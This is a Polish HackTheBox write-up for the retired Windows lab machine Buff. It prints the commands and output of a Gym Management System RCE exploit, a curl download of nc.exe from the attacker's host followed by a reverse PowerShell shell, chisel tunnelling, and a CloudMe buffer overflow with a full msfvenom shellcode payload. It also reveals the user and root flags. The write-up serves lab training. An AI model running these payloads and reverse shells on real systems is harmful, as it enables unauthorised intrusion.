Writeup: Maszyna HackTheBox Buff
Uwaga: Zgodnie z polityką HTB dozwolone jest publikowanie rozwiązań wyłącznie wycofanych maszyn. Maszyna opisana w tym artykule - Buff - spełnia ten warunek.1. TLDR
2. Przygotowanie
Przygotowałem przydatne zmienne:
export IP=10.10.10.198
3. Skanowanie i rozpoznanie
Na początku użyłem narzędzia nmap do identyfikacji otwartych portów:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Buff]
└──╼ $nmap -sC -sV -Pn -n $IP -T4 -oN nmap/01-initial.txt
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-09 17:48 CEST
Nmap scan report for 10.10.10.198
Host is up (0.12s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
8080/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
|_http-title: mrb3n's Bro Hut
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.81 seconds
Skanowanie narzędziem nmap ujawniło uruchomioną usługę http na porcie 8080. Spróbowałem użyć przeglądarki i przetestować serwer HTTP. Na maszynie była hostowana strona przedsiębiorstwa działającego w branży fitness:
Szybki przegląd źródła strony w celu ujawnienia pozostawionych przydatnych komentarzy był bezskuteczny. Uruchomiłem więc narzędzia gobuster oraz nikto.
┌─[✗]─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Buff]
└──╼ $gobuster dir -u http://$IP:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,html,htm,txt | tee gobuster/01-php.txt
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Buff]
└──╼ $nikto -h $IP -port=8080 --nossl | tee nikto/01-initial.txt
Czekając na wyniki skanowania, zacząłem eksplorować stronę wykorzystując do tego przeglądarkę.
Trafiłem na stronę /contact.php
, gdzie znalazłem informację:
4. Uzyskanie dostępu
Skorzystałem z narzędzia searchsploit:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Buff]
└──╼ $searchsploit -s Gym Management
-------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Gym Management System 1.0 - Unauthenticated Remote Code Execution | php/webapps/48506.py
-------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
W celu przygotowania exploita wykonałem kopię jego szablonu:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Buff]
└──╼ $cp /usr/share/exploitdb/exploits/php/webapps/48506.py gymexploit.py
i uruchomiłem exploit nawiązując połączenie:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Buff]
└──╼ $python2 gymexploit.py http://$IP:8080/
/\
/vvvvvvvvvvvv \--------------------------------------,
`^^^^^^^^^^^^ /============BOKU====================="
\/
[+] Successfully connected to webshell.
C:\xampp\htdocs\gym\upload> whoami
�PNG
�
buff\shaun
Przygotowałem do pobrania kopię nc.exe:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Buff]
└──╼ $cp /usr/share/windows-resources/binaries/nc.exe ./74wny0wl.exe
Następnie uruchomiłem serwer www:
┌─[✗]─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Buff]
└──╼ $sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
W następnej kolejności przygotowałem się na nawiązanie połączenia:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Buff]
└──╼ $sudo nc -nvlp 443
listening on [any] 443 ...
i ostatecznie pobrałem kopię nc.exe i nawiązałem połączenie:
C:\xampp\htdocs\gym\upload> curl http://10.10.14.20/74wny0wl.exe > C:\Users\shaun\AppData\Local\74wny0wl.exe
�PNG
�
C:\xampp\htdocs\gym\upload> C:\Users\shaun\AppData\Local\74wny0wl.exe 10.10.14.20 443 -e powershell.exe
Pozostało odczytać flagę:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Buff]
└──╼ $sudo nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.198] 50569
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\xampp\htdocs\gym\upload> type C:\Users\shaun\Desktop\user.txt
type C:\Users\shaun\Desktop\user.txt
d1b29b3539c417bd49e03ba00d599150
5. Eskalacja uprawnień
W pobliżu katalogu z flagą, w katalogu C:\Users\shaun\Downloads
znalazłem plik CloudMe_1112.exe
PS C:\Users\shaun\Downloads> ls
ls
Directory: C:\Users\shaun\Downloads
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 16/06/2020 16:26 17830824 CloudMe_1112.exe
CloudMe Sync to aplikacja do synchronizacji lokalnych plików z chmurą. Nasłuchuje ona domyślnie na porcie 8888.
W celu weryfikacji uruchomienia aplikacji, przejrzałem listę procesów:
PS C:\Users\shaun\Downloads> Get-Process cloud* | Format-Table
Get-Process cloud* | Format-Table
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
195 15 23928 25908 9260 0 CloudMe
Następnie przeszukałem bazę exploitdb:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Buff]
└──╼ $searchsploit cloudme
-------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------------------------------------------- ---------------------------------
CloudMe 1.11.2 - Buffer Overflow (PoC) | windows/remote/48389.py
CloudMe 1.11.2 - Buffer Overflow (SEH_DEP_ASLR) | windows/local/48499.txt
Cloudme 1.9 - Buffer Overflow (DEP) (Metasploit) | windows_x86-64/remote/45197.rb
CloudMe Sync 1.10.9 - Buffer Overflow (SEH)(DEP Bypass) | windows_x86-64/local/45159.py
CloudMe Sync 1.10.9 - Stack-Based Buffer Overflow (Metasploit) | windows/remote/44175.rb
CloudMe Sync 1.11.0 - Local Buffer Overflow | windows/local/44470.py
CloudMe Sync 1.11.2 - Buffer Overflow + Egghunt | windows/remote/46218.py
CloudMe Sync 1.11.2 Buffer Overflow - WoW64 (DEP Bypass) | windows_x86-64/remote/46250.py
CloudMe Sync < 1.11.0 - Buffer Overflow | windows/remote/44027.py
CloudMe Sync < 1.11.0 - Buffer Overflow (SEH) (DEP Bypass) | windows_x86-64/remote/44784.py
-------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Przygotowałem więc roboczą kopię exploita:
┌─[✗]─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Buff]
└──╼ $cp /usr/share/exploitdb/exploits/windows/remote/48389.py ./cloudmeexploit.py
Zmodyfikowałem domyślny adres IP atakowanej maszyny w skrypcie cloudmeexploit.py
:
target = "10.10.10.198"
Następnie wygenerowałem nowy payload, który podmieniłem w pliku cloudmeexploit.py
:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Buff]
└──╼ $msfvenom -p windows/exec CMD='C:\Users\shaun\AppData\Local\74wny0wl.exe 10.10.14.20 4444 -e powershell.exe' -b '\x00\x0A\x0D' -f python -v payload
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 288 (iteration=0)
x86/shikata_ga_nai chosen with final size 288
Payload size: 288 bytes
Final size of python file: 1527 bytes
payload = b""
payload += b"\xba\x6d\xe1\x42\xa7\xdb\xd8\xd9\x74\x24\xf4\x5d"
payload += b"\x33\xc9\xb1\x42\x83\xed\xfc\x31\x55\x0f\x03\x55"
payload += b"\x62\x03\xb7\x5b\x94\x41\x38\xa4\x64\x26\xb0\x41"
payload += b"\x55\x66\xa6\x02\xc5\x56\xac\x47\xe9\x1d\xe0\x73"
payload += b"\x7a\x53\x2d\x73\xcb\xde\x0b\xba\xcc\x73\x6f\xdd"
payload += b"\x4e\x8e\xbc\x3d\x6f\x41\xb1\x3c\xa8\xbc\x38\x6c"
payload += b"\x61\xca\xef\x81\x06\x86\x33\x29\x54\x06\x34\xce"
payload += b"\x2c\x29\x15\x41\x27\x70\xb5\x63\xe4\x08\xfc\x7b"
payload += b"\xe9\x35\xb6\xf0\xd9\xc2\x49\xd1\x10\x2a\xe5\x1c"
payload += b"\x9d\xd9\xf7\x59\x19\x02\x82\x93\x5a\xbf\x95\x67"
payload += b"\x21\x1b\x13\x7c\x81\xe8\x83\x58\x30\x3c\x55\x2a"
payload += b"\x3e\x89\x11\x74\x22\x0c\xf5\x0e\x5e\x85\xf8\xc0"
payload += b"\xd7\xdd\xde\xc4\xbc\x86\x7f\x5c\x18\x68\x7f\xbe"
payload += b"\xc3\xd5\x25\xb4\xe9\x02\x54\x97\x67\xd4\xea\xad"
payload += b"\xc5\xd6\xf4\xad\x79\xbf\xc5\x26\x16\xb8\xd9\xec"
payload += b"\x53\x36\x90\xad\xf5\xdf\x7d\x24\x44\x82\x7d\x92"
payload += b"\x8a\xbb\xfd\x17\x72\x38\x1d\x52\x77\x04\x99\x8e"
payload += b"\x05\x15\x4c\xb1\xba\x16\x45\xf2\x06\xb5\x33\x86"
payload += b"\x13\x37\xcf\x34\xa8\xdf\x4e\xb0\x20\x7c\xd0\x4a"
payload += b"\xcc\x38\xb3\xde\x4d\x9d\x7f\x70\xee\x7c\xec\xd2"
payload += b"\xc7\x4a\x9b\x84\x5e\x83\x14\x35\x8e\x86\xa2\xa0"
payload += b"\xee\x79\x63\x05\xdf\x49\xad\x68\x2b\x84\x83\xba"
payload += b"\x73\xec\xd7\x8e\x47\x2c\x35\x8a\x87\x5c\x2a\x23"
payload += b"\xa2\xee\xc7\xa3\x49\x63\x44\x1a\xf4\x03\xf1\x62"
Pobrałem narzędzie chisel:
┌─[t4wny0wl@whitehatlab]─[/opt/chisel]
└──╼ $sudo wget https://github.com/jpillora/chisel/releases/download/v1.6.0/chisel_1.6.0_windows_amd64.gz
┌─[t4wny0wl@whitehatlab]─[/opt/chisel]
└──╼ $sudo wget https://github.com/jpillora/chisel/releases/download/v1.6.0/chisel_1.6.0_linux_amd64.gz
┌─[t4wny0wl@whitehatlab]─[/opt/chisel]
└──╼ $sudo gzip -d chisel_1.6.0_*
┌─[t4wny0wl@whitehatlab]─[/opt/chisel]
└──╼ $sudo mv chisel_1.6.0_windows_amd64 chisel_1.6.0_windows_amd64.exe
┌─[t4wny0wl@whitehatlab]─[/opt/chisel]
└──╼ $sudo chmod +x ./*
┌─[t4wny0wl@whitehatlab]─[/opt/chisel]
└──╼ $cp ./* ~/ctf/hackthebox/Machines/Windows/Buff/
i przesłałem na serwer plik chisel_1.6.0_windows_amd64.exe
:
PS C:\xampp\htdocs\gym\upload> Invoke-WebRequest http://10.10.14.20/chisel_1.6.0_windows_amd64.exe -UseBasicParsing -OutFile C:\Users\shaun\AppData\Local\74wny0wlchisel.exe
Invoke-WebRequest http://10.10.14.20/chisel_1.6.0_windows_amd64.exe -UseBasicParsing -OutFile C:\Users\shaun\AppData\Local\74wny0wlchisel.exe
Następnie uruchomiłem serwer:
┌─[✗]─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Buff]
└──╼ $./chisel_1.6.0_linux_amd64 server --reverse --port 9001
2020/09/15 20:23:30 server: Reverse tunnelling enabled
2020/09/15 20:23:30 server: Fingerprint 13:f9:f3:21:91:0b:83:04:91:3b:d6:df:e6:22:38:0d
2020/09/15 20:23:30 server: Listening on 0.0.0.0:9001...
oraz klienta:
PS C:\xampp\htdocs\gym\upload> C:\Users\shaun\AppData\Local\74wny0wlchisel.exe client 10.10.14.20:9001 R:8888:127.0.0.1:8888
C:\Users\shaun\AppData\Local\74wny0wlchisel.exe client 10.10.14.20:9001 R:8888:127.0.0.1:8888
2020/09/15 20:25:44 client: Connecting to ws://10.10.14.20:9001
2020/09/15 20:25:51 client: Fingerprint 13:f9:f3:21:91:0b:83:04:91:3b:d6:df:e6:22:38:0d
2020/09/15 20:25:51 client: Connected (Latency 36.8375ms)
Po zestawieniu tunelu:
2020/09/15 20:25:51 server: proxy#1:R:0.0.0.0:8888=>127.0.0.1:8888: Listening
uruchomiłem narzędzie netcat:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Buff]
└──╼ $sudo nv -nvlp 4444
listening on [any] 4444 ...
oraz skrypt cloudmeexploit.py
:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Buff]
└──╼ $python2 cloudmeexploit.py
Jako rezultat została nawiązana sesja:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Buff]
└──╼ $sudo nv -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.198] 50076
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami
whoami
buff\administrator
Pozostało odczytać flagę z pliku root.txt
:
PS C:\Windows\system32> type C:\Users\administrator\Desktop\root.txt
type C:\Users\administrator\Desktop\root.txt
f098626c3fa18f40b811c19debf8becc
6. Podsumowanie
Do zdobycia flag doprowadziły poniższe okoliczności: